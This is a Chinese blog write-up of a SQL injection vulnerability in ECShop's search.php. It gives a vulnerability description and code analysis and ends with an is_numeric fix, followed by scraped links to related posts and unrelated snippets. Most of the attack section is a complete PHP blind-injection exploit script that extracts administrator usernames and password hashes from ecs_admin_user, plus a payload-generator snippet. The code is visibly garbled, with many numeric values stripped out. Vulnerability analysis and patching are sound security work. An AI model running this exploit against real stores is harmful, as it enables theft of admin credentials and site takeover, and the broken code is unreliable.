ecshop /search.php SQL Injection Vul
catalog
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞
Relevant Link:
http://sebug.net/vuldb/ssvid-62317
2. 漏洞触发条件
0x1: POC
<?php
ini_set("max_execution_time",);
error_reporting(); function usage()
{
global $argv;
exit(
"\n--+++============================================================+++--".
"\n--+++====== ECShop Search.php SQL Injection Exploit========+++--".
"\n--+++============================================================+++--".
"\n\n[+] Author: jannock".
"\n[+] Team: [url]http://wavdb.com/[/url]".
"\n[+] Usage: php ".$argv[]." <hostname> <path> <goods_id>".
"\n[+] Ex.: php ".$argv[]." localhost / 1".
"\n\n");
} function query($pos, $chr, $chs,$goodid)
{
switch ($chs)
{
case :
$query = "1=1";
break;
case :
$query = " ascii(substring((select user_name from ecs_admin_user limit
,),{$pos},))={$chr}";
break;
case :
$query = " ascii(substring((select password from ecs_admin_user limit
,),{$pos},))={$chr}";
break;
case :
$query = " length((select user_name from ecs_admin_user limit 0,1))={$pos}";
break;
}
$list=array("1' or 1=1) and 1=2 GROUP BY goods_id HAVING num = '1' union select $goodid,1 from ecs_admin_user where 1=1 and ". $query ."/*"=>"");
$query = array("attr"=>$list);
$query = str_replace('+', '%2b', base64_encode(serialize($query)));
return $query;
} function exploit($hostname, $path, $pos, $chr, $chs,$goodid)
{
$chr = ord($chr);
$conn = fsockopen($hostname, ); $message = "GET ".$path."/search.php?encode=".query($pos, $chr, $chs,$goodid)." HTTP/1.1\r\n";
$message .= "Host: $hostname\r\n";
$message .= "Connection: Close\r\n\r\n"; fwrite($conn, $message);
while (!feof($conn))
{
$reply .= fgets($conn, );
}
fclose($conn);
return $reply;
} function crkusername($hostname, $path, $chs,$goodid)
{
global $length;
$key = "abcdefghijklmnopqrstuvwxyz0123456789";
$chr = ;
$pos = ;
echo "[+] username: ";
while ($pos <= $length)
{
$response = exploit($hostname, $path, $pos, $key[$chr], $chs,$goodid);
if (preg_match ("/javascript:addToCart/i", $response))
{
echo $key[$chr];
$chr = ;
$pos++;
}
else
$chr++;
}
echo "\n";
} function crkpassword($hostname, $path, $chs,$goodid)
{
$key = "abcdef0123456789";
$chr = ;
$pos = ;
echo "[+] password: ";
while ($pos <= )
{
$response = exploit($hostname, $path, $pos, $key[$chr], $chs,$goodid);
if (preg_match ("/javascript:addToCart/i", $response))
{
echo $key[$chr];
$chr = ;
$pos++;
}
else
$chr++;
}
echo "\n\n";
} function lengthcolumns($hostname, $path,$chs, $goodid)
{
echo "[+] username length: ";
$exit = ;
$length = ;
$pos = ;
$chr = ;
while ($exit==)
{
$response = exploit($hostname, $path, $pos, $chr, $chs,$goodid);
if (preg_match ("/javascript:addToCart/i", $response))
{
$exit = ;
$length = $pos;
break;
}
else
{
$pos++;
if($pos>)
{
exit("Exploit failed");
}
}
}
echo $length."\n";
return $length;
} if ($argc != )
usage();
$hostname = $argv[];
$path = $argv[];
$goodid = $argv[];
$length = lengthcolumns($hostname, $path, , $goodid);
crkusername($hostname, $path, ,$goodid);
crkpassword($hostname, $path, ,$goodid); ?>
可自行构造encode的值进行注入
<?php
$list=array("1' or 1=1) and 1=2 GROUP BY goods_id HAVING num = '1' /*"=>"yy");
$string = array("attr"=>$list);
$string = str_replace('+', '%2b', base64_encode(serialize($string)));
die($string);
?>
Relevant Link:
http://sebug.net/vuldb/ssvid-68687
3. 漏洞影响范围
4. 漏洞代码分析
/search.php
..
$string = base64_decode(trim($_GET['encode'])); //37行
..
//addslashes_deep 只能参数值进行过滤
$_REQUEST = array_merge($_REQUEST, addslashes_deep($string)); //69行
..
if (!empty($_REQUEST['attr']))
{
$sql = "SELECT goods_id, COUNT(*) AS num FROM " . $ecs->table("goods_attr") . " WHERE 0 ";
foreach ($_REQUEST['attr'] AS $key => $val)
{
if (is_not_null($val))
{
$attr_num++;
$sql .= " OR (1 "; if (is_array($val))
{
//$key是$_REQUEST['attr'] 的键值,就是这里没有过滤,直接进入SQL查询,造成SQL注入漏洞
$sql .= " AND attr_id = '$key'";
Relevant Link:
http://sebug.net/vuldb/ssvid-19640
5. 防御方法
/search.php
if (!empty($_REQUEST['attr']))
{
$sql = "SELECT goods_id, COUNT(*) AS num FROM " . $ecs->table("goods_attr") . " WHERE 0 ";
foreach ($_REQUEST['attr'] AS $key => $val)
{
/* 对key值进行注入判断 is_numeric($key)*/
if (is_not_null($val) && is_numeric($key))
{
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved
ecshop /search.php SQL Injection Vul的更多相关文章
- ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...
- ecshop /flow.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP的配送地址页面网页没有验证地区参数的有效性,存在sql注入漏 ...
- ecshop /goods.php SQL Injection Vul
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: poc http://localhost ...
- ecshop /category.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Relevant Link: http://sebug.net/vuld ...
- ecshop /api/client/api.php、/api/client/includes/lib_api.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECShop存在一个盲注漏洞,问题存在于/api/client/api. ...
- ecshop /includes/modules/payment/alipay.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP支付插件存在SQL注入漏洞,此漏洞存在于/includes/ ...
- discuz /faq.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 . 通过获取管理员密码 . 对管理员密码进行破解.通过在cmd5.com ...
- dedecms /plus/search.php SQL Injection && Local Variable Overriding
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 这个文件有两处注入漏洞 . $typeid变量覆盖导致ChannelTy ...
- dedecms \plus\guestbook.php SQL Injection Vul By \plus\guestbook\edit.inc.php
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 注射漏洞成功需要条件如下 . php magic_quotes_gpc= ...
随机推荐
- C语言复习(1)
test.c #include <stdio.h> int main(){ printf("hello\n"); return 0; } 1.预处理阶段 由于在test ...
- 安装laravel5.1项目命令
作为程序员还有什么比命令行执行效率还要快的呢,哈哈... composer create-project laravel/laravel your-project-name --prefer-dist ...
- bash中变量+=,if大小判断,随机休眠
#!/bin/bash index= while true;do echo "hello" (( index+=)) echo `date "+%H:%M:%S" ...
- Bootstrap系列 -- 12. 水平表单
Bootstrap框架默认的表单是垂直显示风格,但很多时候我们需要的水平表单风格(标签居左,表单控件居右) 在Bootstrap框架中要实现水平表单效果,必须满足以下两个条件: 1.在<form ...
- 安装.NET Framework后程序无法启动的错误处理
最近发现一直在使用的Database.NET软件无法正常使用了,表现为当尝试进行Sql Server的连接创建时,直接报错 在事件查看器具体错误信息为: 日志名称: Applicat ...
- NPOI2.0学习(三)
HSSFWorkbook wk = new HSSFWorkbook();//你用来操作的HSSFWorkbook的实例 ICellStyle cellStyle = wk.CreateCellSty ...
- js简易函数性能测试器
如果你不想用浏览器的js性能测试工具,可以用下面这个简单的函数测试一下(1毫秒一下的就测不出来了) function testFn(fn,param){ var start = new Date(). ...
- PotPlayer为播放而生的专业播放器
韩国,比较牛逼的视频播放器.专注与本地视频播放,值得拥有.... 免费下载:http://yunpan.cn/cmZ5ELC6DTI8Y 访问密码 4bf1
- 让所有的浏览器都支持html5
<!--[if lt IE 9]> <script src="http://html5shiv.googlecode.com/svn/trunk/html5.js" ...
- directly receive json data from javascript in mvc
if you send json data to mvc,how can you receive them and parse them more simply? you can do it like ...